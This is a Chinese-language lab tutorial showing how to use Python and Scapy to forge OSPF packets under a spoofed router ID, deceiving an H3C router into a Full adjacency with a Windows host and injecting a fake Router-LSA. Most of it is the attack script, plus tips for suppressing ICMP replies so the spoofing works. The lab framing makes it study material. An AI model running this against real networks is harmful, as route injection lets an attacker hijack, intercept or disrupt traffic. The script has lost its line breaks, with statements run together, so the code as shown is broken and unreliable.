使用Scapy构造OSPF交互报文欺骗网络设备与主机建立Full关系
目录
实验环境:
网络设备端:
网络仿真模拟器:H3C Cloud LAB
要点:
主机端:
操作系统:Windows11
网卡:VirtualBox Host-Only Network
编程语言:Python
要点:
网络设备端命令实现:
主机端源代码:
效果:
实验环境:
网络设备端:
网络仿真模拟器:H3C Cloud LAB
要点:
路由器需要宣告与主机端的直连网段
主机端:
操作系统:Windows11
网卡:VirtualBox Host-Only Network
编程语言:Python
要点:
确保流量别被网络防火墙拦了
在网络防火墙的出站规则上拦截Type3_Code2的ICMP包,因为Windows底层不支持OSPF,因此当收到网络设备发来的OSPF报文时,会自动回复协议不可达的ICMP报文,会影响实现结果(影响Sniif嗅探效果)
网络设备端命令实现:
<H3C>sys
[H3C]
[H3C]hostname R1
[R1]
[R1]int g0/0
[R1-GigabitEthernet0/0]ip address 192.168.56.250 24
[R1-GigabitEthernet0/0]int lo0
[R1-LoopBack0]ip address 1.1.1.1 32
[R1-LoopBack0]ospf 1 router-id 1.1.1.1
[R1-ospf-1]
[R1-ospf-1]area 0
[R1-ospf-1-area-0.0.0.0]network 1.1.1.1 0.0.0.0
[R1-ospf-1-area-0.0.0.0]network 192.168.56.250 0.0.0.0
[R1-ospf-1-area-0.0.0.0]quit
[R1-ospf-1]
主机端源代码:
from scapy.contrib.ospf import OSPF_Hdr,OSPF_Hello,OSPF_DBDesc,OSPF_LSUpd,OSPF_Router_LSA,OSPF_Link,OSPF_LSAck,OSPF_LSA_Hdr,OSPF_LSReq,OSPF_LSReq_Item
from scapy.layers.inet import IP
from scapy.all import send,ScopedIP,sniff
from threading import Threadiface_name = 'VirtualBox Host-Only Network'def ospf_hello(iface):ip_header = IP(dst =ScopedIP("224.0.0.5", scope=iface_name),src='192.168.56.1',ttl=1,proto=89)#需要用ScopedIP来指定组播报文出接口,否则无法发包ospf_header = OSPF_Hdr(version=2,src='10.10.10.10',area='0.0.0.0',type=1)ospf_hello = OSPF_Hello(mask='255.255.255.0',hellointerval=10,router='192.168.56.1',backup='0.0.0.0',neighbors=['1.1.1.1'],options=0x02)pkt = ip_header / ospf_header / ospf_hello #构造完整的包send(pkt)globals_seq = 0def ospf_db_start(pkt): #用于第一次DBD交互的DBD包,即DBD主从协商global globals_seqdip = pkt[IP].srcsip = pkt[IP].dstglobals_seq = pkt[OSPF_DBDesc].ddseqdb_start_mtu = pkt[OSPF_DBDesc].mtuip_header = IP(dst=dip,src=sip,proto=89,ttl=1)ospf_header = OSPF_Hdr(version=2,type=2,src='10.10.10.10',area='0.0.0.0')ospf_db = OSPF_DBDesc(options=0x42,dbdescr=0x07,ddseq=globals_seq,mtu=db_start_mtu) #0x07表示 More、Master、Init同时置位pkt = ip_header / ospf_header / ospf_dbsend(pkt)globals_seq += 1 #因为每次DBD交互需要顺序递增seqdef ospf_LSA_Request(pkt):dip = pkt[IP].srcsip = pkt[IP].dstip_header = IP(dst=dip,src=sip,proto=89,ttl=1)ospf_header = OSPF_Hdr(version=2, type=3, src='10.10.10.10', area='0.0.0.0')ospf_request_LSAs = OSPF_LSReq_Item(type=1,id='1.1.1.1',adrouter='1.1.1.1')ospf_request = OSPF_LSReq(requests=[ospf_request_LSAs])pkt = ip_header / ospf_header / ospf_requestsend(pkt)def ospf_db_change(pkt): #用于与对端交换DBD摘要信息的DBD包global globals_seqdip = pkt[IP].srcsip = pkt[IP].dstdb_start_mtu = pkt[OSPF_DBDesc].mtudb_change_len = pkt[OSPF_LSA_Hdr].lenip_header = IP(dst=dip,src=sip,proto=89,ttl=1)ospf_header = OSPF_Hdr(version=2,type=2,src='10.10.10.10',area='0.0.0.0')ospf_lsa_header_1 = OSPF_LSA_Hdr(type=1,id='10.10.10.10',adrouter='10.10.10.10',len=db_change_len)ospf_db = OSPF_DBDesc(options=0x42,dbdescr=0x01,ddseq=globals_seq,lsaheaders=[ospf_lsa_header_1],mtu=db_start_mtu) #0x01表示仅Master置位,More没置位表示这是最后一个DBD包pkt = ip_header / ospf_header / ospf_dbsend(pkt)globals_seq += 1def ospf_change(pkt):#想实现同时发包的效果,因为实现的报文交互顺序老是#我的Request#对端的Update#我的DBD摘要报文#我想实现的是# 我的Request# 我的DBD摘要报文# 对端的Update#不过好像没成功t1 = Thread(target=ospf_LSA_Request, args=(pkt,))t2 = Thread(target=ospf_db_change, args=(pkt,))t1.start()t2.start()
def ospf_ls_update(pkt):dip = pkt[IP].srcsip = pkt[IP].dstlink1 = OSPF_Link(id='192.168.56.0',data='255.255.255.0',metric=1,type=3)link2 = OSPF_Link(id='10.10.10.10', data='255.255.255.255', metric=0, type=3)#这两个link是Router_lsa里包含的链路信息ip_header = IP(dst=dip, src=sip, ttl=1, proto=89)ospf_header = OSPF_Hdr(version=2, type=4, src='10.10.10.10', area='0.0.0.0')lsa_route = OSPF_Router_LSA(id='10.10.10.10',adrouter='10.10.10.10',linklist=[link1,link2])ospf_lsu = OSPF_LSUpd(lsalist=[lsa_route])pkt = ip_header / ospf_header / ospf_lsusend(pkt)def ospf_ls_ack(pkt):dip = pkt[IP].srcsip = pkt[IP].dstlsa_seq = pkt[OSPF_Router_LSA].seqlsa_length = pkt[OSPF_Router_LSA].lenlsa_checksum = pkt[OSPF_Router_LSA].chksumip_header = IP(dst=dip,src=sip,ttl=1,proto=89)ospf_header = OSPF_Hdr(version=2,type=5,src='10.10.10.10',area='0.0.0.0')#LSACK报文里的lsa报头要包含所对应的那个ls_update报文中的lsa,并且校验和、length、seq都要一致ospf_route_lsa_header = OSPF_LSA_Hdr(type=1,id='1.1.1.1',adrouter='1.1.1.1',seq=lsa_seq,len=lsa_length,chksum=lsa_checksum)ospf_lsa_ack = OSPF_LSAck(lsaheaders=[ospf_route_lsa_header])pkt = ip_header / ospf_header / ospf_lsa_acksend (pkt)def ospf_ls_update_is(pkt):return pkt.haslayer(OSPF_Hdr) and pkt[OSPF_Hdr].type == 4 and pkt[IP].src !='192.168.56.1'def ospf_db_is(pkt):return pkt.haslayer(OSPF_Hdr) and (pkt[OSPF_Hdr].type == 2 or pkt[OSPF_Hdr].type == 1) and pkt[IP].src != '192.168.56.1'
def ospf_lsAck_is(pkt):return pkt.haslayer(OSPF_Hdr) and (pkt[OSPF_Hdr].type == 4 or pkt[OSPF_Hdr].type == 5) and pkt[IP].src != '192.168.56.1'def ospf_lsa_Request_is(pkt):return pkt.haslayer(OSPF_Hdr) and pkt[OSPF_Hdr].type == 3 and pkt[IP].src != '192.168.56.1'ospf_hello(iface_name)#lfilter表示调用过滤函数,根据返回值(True或False)来确定是否调用Prn函数
#filter是sniff原生的过滤规则
#prn是指定回调函数
#iface是指定抓包出接口
#count是表示抓到几个包停止
sniff(filter='proto 89',iface=iface_name,lfilter=ospf_db_is,prn=ospf_db_start,store=False,count=1)sniff(filter='proto 89',iface=iface_name,lfilter=ospf_db_is,prn=ospf_change,store=False,count=1)sniff(filter='proto 89',iface=iface_name,lfilter=ospf_lsa_Request_is,prn=ospf_ls_update,store=False,count=1)sniff(filter='proto 89',iface=iface_name,lfilter=ospf_lsAck_is,prn=ospf_ls_ack,store=False,count=1)
效果:

可以看到,成功欺骗路由器与主机建立Full关系
这是OSPF报文交互过程